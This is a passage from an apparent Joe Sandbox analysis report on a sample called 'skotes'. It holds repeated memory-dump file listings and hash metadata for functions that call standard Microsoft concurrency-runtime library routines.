Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ExecutionHardwareProxy::Scheduler$AffinityAffinity::CoreCountCurrentFixedIncrementListResourceResource::
String ID:
API String ID: 4213627143-0
Opcode ID: ecb9836484881fd9527bd948392a0e75a0d78dfc1579e326806fa59769ef183b
Instruction ID: 5b2195df9650799943f6b448d092da3ec426956d7b667e267ae686dd2c88230d
Opcode Fuzzy Hash: ecb9836484881fd9527bd948392a0e75a0d78dfc1579e326806fa59769ef183b
Instruction Fuzzy Hash: 6921AC31900A259FCB24EFA5E9908ABF3F6FF48710700495EE442A7651CB74A905CFA6

Function 00624885 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00624893
ListArray.LIBCONCRT ref: 006248A5

Part of subcall function 00625555: _InternalDeleteHelper.LIBCONCRT ref: 00625564

ListArray.LIBCONCRT ref: 006248AF
_InternalDeleteHelper.LIBCONCRT ref: 006248C8

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: c0aaafaa63d700fab0ec5390c2263ae29bbfc60fdd07df4d388828e550f0635f
Instruction ID: 672f7ad0004c516d23710379ed9f4ccf5f8cd6c55292640e1cd14c58d575a56d
Opcode Fuzzy Hash: c0aaafaa63d700fab0ec5390c2263ae29bbfc60fdd07df4d388828e550f0635f
Instruction Fuzzy Hash: 51012631200D31AFCA65BB64E882EADB72BBF44710704012DF80597612CF20EC618BA4

Function 0062EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0062EE6A
ListArray.LIBCONCRT ref: 0062EE7C

Part of subcall function 0062EF29: _InternalDeleteHelper.LIBCONCRT ref: 0062EF3B

ListArray.LIBCONCRT ref: 0062EE86
_InternalDeleteHelper.LIBCONCRT ref: 0062EE9F

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: da8d665f3f1b643380ee3703b5c1fa3697bef93d4efc12f2b3a02968f3716e26
Instruction ID: 9c3fa28d3e45af05f66cac2341396a57846079cb33913868e43f506a7ea7f256
Opcode Fuzzy Hash: da8d665f3f1b643380ee3703b5c1fa3697bef93d4efc12f2b3a02968f3716e26
Instruction Fuzzy Hash: 7201D671300D31AFCB65BB60E9C2DAEBB6BBF44750705043DF84597612CB21EC519AD4

Function 0062D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0062D0C5
ListArray.LIBCONCRT ref: 0062D0D7

Part of subcall function 0062C6B2: _InternalDeleteHelper.LIBCONCRT ref: 0062C6C4

ListArray.LIBCONCRT ref: 0062D0E1
_InternalDeleteHelper.LIBCONCRT ref: 0062D0FA

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: fa447d5bde883f7f3f2f61e1c2bc36dc72fd480db716f9eef6bb3b8bfd100063
Instruction ID: 0c0e417a38c4ddd97cd5c386b991532b07829cd7c72eadbb7bbed3823261f727
Opcode Fuzzy Hash: fa447d5bde883f7f3f2f61e1c2bc36dc72fd480db716f9eef6bb3b8bfd100063
Instruction Fuzzy Hash: 2801F971300D31BFCA65BB60D9CADADB76BBF44760704042DF80097612DF20EC619AD4

Function 006333C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 006333DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 006333EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00633407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0063341F

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
